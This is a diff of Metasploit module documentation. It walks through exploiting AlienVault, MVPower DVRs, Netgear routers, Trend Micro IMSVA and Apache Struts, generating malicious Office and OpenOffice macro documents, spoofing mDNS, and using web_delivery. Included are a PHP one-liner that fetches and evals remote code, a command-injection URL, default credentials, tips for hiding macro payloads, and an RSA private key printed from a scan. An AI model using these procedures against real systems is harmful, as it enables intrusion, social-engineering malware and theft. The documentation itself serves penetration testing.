+Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- + +' +[!] No active DB -- Credential data will not be saved! +[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +0Az8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq +O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE +Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- + +' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 1 opened (192.168.2.117:44179 -> 192.168.2.156:22) at 2017-02-22 22:08:11 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/spoof/mdns/mdns_response.md b/documentation/modules/auxiliary/spoof/mdns/mdns_response.md new file mode 100644 index 0000000000..a3609b960d --- /dev/null +++ b/documentation/modules/auxiliary/spoof/mdns/mdns_response.md @@ -0,0 +1,71 @@ +This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). + +## Vulnerable Application + +To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries. + +## Verification Steps + + 1. `use auxiliary/spoof/mdns/mdns_response` + 2. `set INTERFACE network_iface` + 3. `set SPOOFIP4 10.x.x.x` + 4. `run` + +## Options + +**The SPOOFIP4 option** + +IPv4 address with which to spoof A-record queries + +``` +set SPOOFIP4 [IPv4 address] +``` + +**The SPOOFIP6 option** + +IPv6 address with which to spoof AAAA-record queries + +``` +set SPOOFIP6 [IPv6 address] +``` + +**The REGEX option** + +Regex applied to the mDNS to determine if spoofed reply is sent + +``` +set REGEX [regex] +``` + +**The TTL option** + +Time To Live for the spoofed response (in seconds) + +``` +set TTL [number of seconds] +``` + +## Scenarios + +``` +msf > use auxiliary/spoof/mdns/mdns_response +msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y +SPOOFIP4 => 10.x.x.y +msf auxiliary(mdns_response) > set INTERFACE en3 +INTERFACE => en3 +msf auxiliary(mdns_response) > run +[*] Auxiliary module execution completed +msf auxiliary(mdns_response) > +[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ... +``` + +On Victim Machine +``` +ping something.local +``` +(IP address should resolve to spoofed address) + + +``` +[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y +``` diff --git a/documentation/modules/exploit/linux/http/alienvault_exec.md b/documentation/modules/exploit/linux/http/alienvault_exec.md new file mode 100644 index 0000000000..17e32118c3 --- /dev/null +++ b/documentation/modules/exploit/linux/http/alienvault_exec.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user. + +By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability +which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue +action and policy that enables to execute operating system commands by using captured session token. As a final step, +SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes +operating system command with root user privileges. + +This module was tested against AlienVault USM 5.2.5. + +**Vulnerable Application Installation Steps** + +Major version of older releases can be found at following URL. +[http://downloads.eu.alienvault.com/c/download](http://downloads.eu.alienvault.com/c/download) + +You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file. +In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) . +Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/alienvault_exec +msf exploit(alienvault_exec) > set RHOST 12.0.0.137 +RHOST => 12.0.0.137 +msf exploit(alienvault_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(alienvault_exec) > check +[+] 12.0.0.137:443 The target is vulnerable. +msf exploit(alienvault_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4445 +[*] Hijacking administrator session +[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4 +[*] Creating rogue action +[+] Action created: aWbhnZFHqYbUbNW +[*] Retrieving rogue action id +[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1 +[*] Retrieving policy ctx and group values +[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7 +[+] GROUP Value found: 00000000000000000000000000000000 +[*] Creating a policy that uses our rogue action +[+] Policy created: ASdKHQOZVONGzfU +[*] Activating the policy +[+] Rogue policy activated +[*] Triggering the policy by performing SSH login attempt +[+] SSH - Failed authentication. That means our policy and action will be trigged..! +[*] Sending stage (38500 bytes) to 12.0.0.137 +[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300 + +meterpreter > getuid +Server username: root +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md b/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md new file mode 100644 index 0000000000..4f9e8ed681 --- /dev/null +++ b/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md @@ -0,0 +1,43 @@ +## Vulnerable Application + + This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string. + + This module was tested successfully on a MVPower model TV-7104HE with firmware version 1.8.4 115215B9 (Build 2014/11/17). + + The TV-7108HE model is also reportedly affected, but untested. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/http/mvpower_dvr_shell_exec` + 3. Do: `set rhost [IP]` + 4. Do: `set lhost [IP]` + 5. Do: `run` + 6. You should get a session + + +## Example Run + + + ``` + msf exploit(mvpower_dvr_shell_exec) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] 10.1.1.191:80 - Connecting to target + [+] 10.1.1.191:80 - Target is vulnerable! + [*] Using URL: http://0.0.0.0:8080/BBRyjDtj81x3bTq + [*] Local IP: http://10.1.1.197:8080/BBRyjDtj81x3bTq + [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.191:56881) at 2017-02-21 23:59:33 -0500 + [*] Command Stager progress - 100.00% done (117/117 bytes) + [*] Server stopped. + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 10.1.1.191 + OS : (Linux 3.0.8) + Architecture : armv7l + Meterpreter : armle/linux + meterpreter > + ``` diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md new file mode 100644 index 0000000000..ce6d65012b --- /dev/null +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -0,0 +1,58 @@ +The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http:///cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. + + +## Vulnerable Application + +Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec` + 3. Do: `set RHOST ` + 4. Do: `set PAYLOAD ` + 5. Do: `run` + 6. If the router is a R7000 or R6400, the module should run + +## Options + + **PAYLOAD** + + The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module + +## Scenarios + + Sample output of the options looks like so + + ``` + msf exploit(netgear_r7000_cgibin_exec) > options + +Module options (exploit/linux/http/netgear_r7000_cgibin_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.1.1 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.153.34 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + +msf exploit(netgear_r7000_cgibin_exec) > + ``` + + diff --git a/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md b/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md new file mode 100644 index 0000000000..30e8c480af --- /dev/null +++ b/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md @@ -0,0 +1,71 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in the Trend Micro InterScan Messaging Security (Virtual Appliance) product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. + +saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. + +**Vulnerable Application Installation Steps** + +IMSVA is distrubed as an ISO image by Trend Micro. + +Following steps are valid on the CentOS 6 x64 bit operating system. + +1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/) +2. Find "InterScan Messaging Security (Virtual Appliance)" and click. +3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button. +4. Click to the download button and complete installation of ISO. + +If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL. + +[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso) + +**System requirements:** +- Virtualbox or VMware can be used. +- 4 GB of memory at least. +- 120 GB of disk size at least. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/trend_micro_imsva_exec +msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140 +RHOST => 12.0.0.140 +msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(trend_micro_imsva_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Attempting to login with admin:imsva +[+] Authenticated as admin:imsva +[*] Delivering payload... +[*] Sending stage (38622 bytes) to 12.0.0.140 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.140:60822) at 2017-01-18 11:29:36 +0300 + +meterpreter > getuid +Server username: root +meterpreter > +``` + +You must be getting ```no access``` error if the supplied username and password or default credentials are wrong. + +``` +msf exploit(trend_micro_imsva_exec) > back +msf > use exploit/linux/http/trend_micro_imsva_exec +msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140 +RHOST => 12.0.0.140 +msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(trend_micro_imsva_exec) > +msf exploit(trend_micro_imsva_exec) > set USERNAME notvalid +USERNAME => notvalid +msf exploit(trend_micro_imsva_exec) > set PASSWORD notvalid123 +PASSWORD => notvalid123 +msf exploit(trend_micro_imsva_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Attempting to login with notvalid:notvalid123 +[-] Exploit aborted due to failure: no-access: 12.0.0.140:8445 - Login with notvalid:notvalid123 failed... +[*] Exploit completed, but no session was created. +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md index 3a0de3ac8d..91ad0cc021 100644 --- a/documentation/modules/exploit/linux/local/bpf_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -1,19 +1,19 @@ ## Notes -This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. +This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`. -Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. +Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work. -As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required. -As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. +As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted. ## Creating A Testing Environment There are a few requirements for this module to work: - 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) - 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md new file mode 100644 index 0000000000..0542810dbc --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md @@ -0,0 +1,97 @@ + +## Description + +This module generates a macro-enabled Microsoft Office Word document. It does not target a specific +CVE or vulnerability, this is more of a feature-abuse in Office, however this type of +social-engineering attack still remains common today. + +There are many ways to create this type of malicious doc. The module injects the Base64-encoded +payload in the comments field, which will get decoded back by the macro and executed as a Windows +executable when the Office document is launched. + + +## Vulnerable Application + +A Windows or OSX machine with Microsoft Office installed. The Office application must support the docm +format. + +Specifically, this module was tested specifically against: + +* Microsoft Office 2010. +* Microsoft Office 2013. +* Microsoft Office 2016. +* Microsoft Office Word 15.29.1 (161215). + +## Verification Steps + +1. ```use exploit/multi/fileformat/office_word_macro``` +2. ```set PAYLOAD [PAYLOAD NAME]``` +3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc) +4. ```exploit``` +5. The module should generate the malicious docm. + +## Options + +**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more. + +## Demo + +In this example, first we generate the malicious docm exploit, and then we set up a +windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm +exploit to a Windows machine with Office 2013 installed, when the document runs the +macro, we get a session: + +![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif) + +## Modification + +To use this exploit in a real environment, you will most likely need to modify the docm content. +Here's one approach you can do: + +1. Use the module to generate the malicious docm +2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013). + When you open the document, the payload will probably do something on your machine. It's ok, + since you generated it, it should not cause any problems for you. +3. Save the doc, and test again to make sure the payload still works. + +While editing, you should avoid modifying the following unless you are an advanced user: + +* The comments field. If you have to modify this, make sure to create 55 empty spaces + in front of the payload string. The blank space is for making the payload less obvious + at first sight if the user views the file properties. +* The VB code in the macro. + +## Trusted Document + +By default, Microsoft Office does not execute macros automatically unless it is considered as a +trusted document. This means that if a macro is present, the user will most likely need to manually +click on the "Enable Content" button in order to run the macro. + +Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick +the user into allowing the macro to run. For example, making the document look like something +written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory). + +To truly make the macro document to run without any warnings, you must somehow figure out a way to +sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts. + +For testing purposes, another way to have a certificate is to create a self-signed one using +Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on +Windows: + +``` +C:\Program Files\Microsoft Office\root\Office16\SELFCERT.exe +``` + +In Office 2010, the self-signing tool is actually an option in the Office tools folder in the +start menu. It should be named "Digital Certificate for VBA Projects". + +Double-click on the executable, enter a random name and click "OK", at this point you have a +certificate to play with. + +Next, we want to flag this certificate as trusted: + +1. Click on Start, and then enter "Internet Options". +2. Click on the Content tab, and then click on the Certificates button. +3. You should see your new certificate under the Personal tab, export it. +4. Click on the Trusted Publishers, and then import your personal certificate. +5. Try the macro exploit again, it should run the malicious code without warning. diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md old mode 100755 new mode 100644 diff --git a/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md b/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md new file mode 100644 index 0000000000..918047736f --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md @@ -0,0 +1,104 @@ +`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart +parser, which makes it possible to perform arbitrary code execution with a malicious HTTP +`Content-Type` value. + +## Vulnerable Application + +Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10 are vulnerable. + +You can download these versions here with any version of Apache Tomcat: + +http://archive.apache.org/dist/struts/ + +You will also need to install a Struts 2 showcase application, which can be found here: + +https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase + +## Options + +**TARGETURI** + +The path to a struts application action + +**VHOST** + +The HTTP server virtual host. You will probably need to configure this as well, even though it is +set as optional. + +## Demonstration + +**The Check Command** + +The `struts2_content_type_ognl` module comes with a check command that can effectively check +if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the +following: + +``` +set VERBOSE true +set RHOST [IP] +set TARGETURI [path to the Struts app with an action] +``` + +When the module is in verbose mode, the `check` command will try to tell you the OS information, +and whether or not the machine is vulnerable. Like this: + +``` +msf exploit(struts2_content_type_ognl) > check + +[+] Victim operating system: Linux +[+] 10.1.11.11:8080 The target is vulnerable. +``` + +**Exploiting the Host** + +After identifying the vulnerability on the target machine, you can try to exploit it. + +The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads, +try to do `show payloads`, and pick one. The following example demonstrates us exploiting a +vulnerable Ubuntu host: + +``` +msf exploit(struts2_content_type_ognl) > show options + +Module options (exploit/multi/http/struts2_content_type_ognl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 10.1.11.11 yes The target address + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /struts2-showcase/ yes The path to a struts application action + VHOST no HTTP server virtual host + + +Payload options (linux/x86/meterpreter/bind_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DebugOptions 0 no Debugging options for POSIX meterpreter + LPORT 4444 yes The listen port + RHOST 10.1.11.11 no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Universal + + +msf exploit(struts2_content_type_ognl) > run + +[*] Started bind handler +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +{"Server"=>"Apache-Coyote/1.1", + "Set-Cookie"=>"JSESSIONID=548FF051466E6C1F3AAE814E385057DE; Path=/; HttpOnly", + "Content-Type"=>"text/html;charset=UTF-8", + "Content-Length"=>"6335", + "Date"=>"Tue, 14 Mar 2017 21:04:06 GMT"} +[*] Sending stage (1495599 bytes) to 10.1.11.11 +[*] Meterpreter session 5 opened (192.168.1.11:50671 -> 10.1.11.11:4444) at 2017-03-14 16:04:36 -0500 + +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md new file mode 100644 index 0000000000..3e2227f8f1 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md @@ -0,0 +1,63 @@ +## Description + +This module generates an Apache OpenOffice Text Document with a malicious macro in it. It also +works against LibreOffice. + +To exploit successfully, the targeted user must adjust the security level in Macro Security to +either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the +macro. If set to Low, the macro can automatically run without any warning. + +## Vulnerable Application + +* Apache OpenOffice +* LibreOffice + +## Verification Steps + +To use this exploit, you must know the platform of the targeted user. The module supports Windows, +Linux, and OSX. If the target is using Windows, then the exploit will generate the macro +with malicious Powershell code inside. For other supported platforms, the exploit will generate +Python code. + +An example of using this module against Windows: + +1. Start msfconsole +2. ```use exploit/multi/misc/openoffice_document_macro``` +3. ```set target 0``` +4. ```set payload windows/meterpreter/reverse_tcp``` +5. ```exploit``` + +An example of using this module against Linux or OSX: + +1. Start msfconsole +2. ```use exploit/multi/misc/openoffice_document_macro``` +3. ```set target 1``` +4. ```set payload python/meterpreter/reverse_tcp``` +5. ```exploit``` + +Once started, the module will mainly do these things: + +1. It will start a payload handler. +2. It will start a web server. This is used for the macro to download and execute our final payload. +3. The malicious odt file. Send this to your targeted user. + +## Options + +**BODY** + +This option can be used to insert text to the malicious document. + +## Demo + +![openoffice_macro_demo](https://cloud.githubusercontent.com/assets/1170914/22761020/9e7667ca-ee1e-11e6-9fc1-a29c55f405f0.gif) + +## Modification + +Since social engineering will play a big part in the success of the attack, you will most likely +want to modify the odt file. + +1. To do so, first use msfconsole to generate the malicious odt file. +2. Move the odt file to a system that has OpenOffice or LibreOffice +3. You can just use OpenOffice/LibreOffice to edit the file. Make sure you don't modify the macro + code unless you actually know what you're doing. + diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 91c213f82d..a9bcc15013 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -1,16 +1,13 @@ -As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. +The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections. -Currently, web_delivery supports three different languages for delivery: Python, PHP, and -Powershell. You should be able to tell which one you can use based on the target environment -you are in. +The web_delivery module supports three different languages for delivery: Python, PHP, and +Powershell. You should manually select the correct target based on the victim environment you are exploiting. -For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. +For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well. ## Verification Steps -To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. - -At that point, you would use the web_delivery module like in the following example: +To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation: 1. Start msfconsole 2. Run: ```use exploit/multi/script/web_delivery``` @@ -20,57 +17,319 @@ At that point, you would use the web_delivery module like in the following examp 6. Do: ```run``` 7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. 8. Copy the command. Depending on your pentesting scenario, you can either inject the - command and get code execution, or run it from the target's shell and get a session: + command into a vulnerable application, or run it from the target's shell and get a session: ``` msf exploit(web_delivery) > run [*] Exploit running as background job. -[*] Started reverse TCP handler on 172.16.23.1:4444 +[*] Started reverse TCP handler on 192.168.2.1:4444 msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 [*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 [*] Server started. [*] Run the following command on the target machine: -php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));" [*] Delivering Payload -[*] Sending stage (33684 bytes) to 172.16.23.134 -[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +[*] Sending stage (33684 bytes) to 192.168.2.134 +[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600 ``` ## Targets **Python** -Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. +Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well. **PHP** -PHP is a fairly popular language for web servers, especially Apache. +PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal. **Powershell/Windows** -Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 -are the first Windows versions to come with Powershell by default. Older Windows systems such as XP -don't come with it by default, but it is still possible to see it installed on a corporate network. +Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component. ## Scenarios **Against a compromised web application** -web_delivery would work nicely for a web application with a command execution vulnerability. - -One way to approach this would be: +web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be: 1. Start exploit/multi/script/web_delivery 2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. -3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. +3. If the modified HTTP/HTTPS request is successful, you should get a session. **Shell upgrade** -web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done: -Here's how that can be done: - -1. Start exploit/multi/script/web_delivery that generates/ -2. In msfconsole, interact with the shell, and copy/paste the command. +1. Start `exploit/multi/script/web_delivery` that generates the command to inject. +2. Interact with the shell, and copy/paste the command. 3. You should get a Meterpreter session. + +An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through `auxialiary/scanner/ssh/ssh_login`, and then upgraded via `web_delivery`. + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(ssh_login) > set username ubuntu +username => ubuntu +msf auxiliary(ssh_login) > set password ubuntu +password => ubuntu 